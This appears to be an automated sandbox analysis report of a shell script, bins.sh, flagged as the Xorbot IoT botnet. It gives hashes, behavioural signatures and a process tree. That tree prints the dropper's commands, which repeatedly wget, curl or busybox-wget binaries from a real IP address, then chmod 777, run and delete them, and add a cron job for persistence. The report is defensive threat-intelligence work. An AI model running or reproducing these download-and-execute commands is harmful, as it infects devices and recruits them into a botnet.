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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/02/2025, 19:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1f4d23e931eb2509fb595dbf127fdfe2

  • SHA1

    bde31e4db33a17ed1e37364a26242e12f6b0bbbb

  • SHA256

    512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5

  • SHA512

    b1ddd776c1e3cfd5d8de54ee3a1feece060b29b1db408fdefe679d1e37d41c4c21a7e7beb9b97f34552e7d03add2b35999311a50d8d50f10a1312fbcba7cfaf3

  • SSDEEP

    192:1N5dmvfK3Q3k3x3+3e3rzHkJpgD5B5Z5uFpYFwIva22k0iOaQCTjPLaL2Lzm+zw+:1N5dmvfK3Q3k3x3+3e3rzHkJpgDf7JFJ

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1943) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:650
      • /usr/bin/wget
        wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:655
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:671
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:679
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:680
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:681
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:686
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:690
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:692
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:694
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:697
              • /usr/bin/wget
                wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:699
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:703
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:706
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:708
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:710
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:712
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:713
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:732
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:741
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:744
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:746
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:748
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:749
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:752
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:753
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:756
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:758
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:760
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:762
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:763
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:765
                            • /bin/rm
                              rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                              2⤵
                              • System Network Configuration Discovery
                              PID:777
                            • /usr/bin/wget
                              wget http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                                PID:780
                              • /usr/bin/curl
                                curl -O http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                2⤵
                                • Checks CPU configuration
                                PID:863
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                2⤵
                                • Writes file to tmp directory
                                PID:867
                              • /bin/chmod
                                chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                2⤵
                                • File and Directory Permissions Modification
                                PID:872
                              • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                2⤵
                                  PID:874
                                • /bin/rm
                                  rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                                  2⤵
                                    PID:875
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                    2⤵
                                      PID:877

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                    Filesize

                                    117KB

                                    MD5

                                    849fa04ef88a8e8de32cb2e8538de5fe

                                    SHA1

                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                    SHA256

                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                    SHA512

                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                  • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /var/spool/cron/crontabs/tmp.7EK9Vc

                                    Filesize

                                    210B

                                    MD5

                                    071b5ac6913d752fe472aea44aa9c8ab

                                    SHA1

                                    2d55694893aa66b89d1f8b4c5254ef97f8b91325

                                    SHA256

                                    da430184d6b1b6a6910b689e47153f6664e4cfcf021dda7ab81224928f845157

                                    SHA512

                                    cde4731f397dd65d8c87b4edcc7dc082cb70a13dec99d3dbe15fc6ca2430aca26042b6b2b525c8ba658f99fa99091b84d49a95c2f9e4410edf7da1f7c6ed6647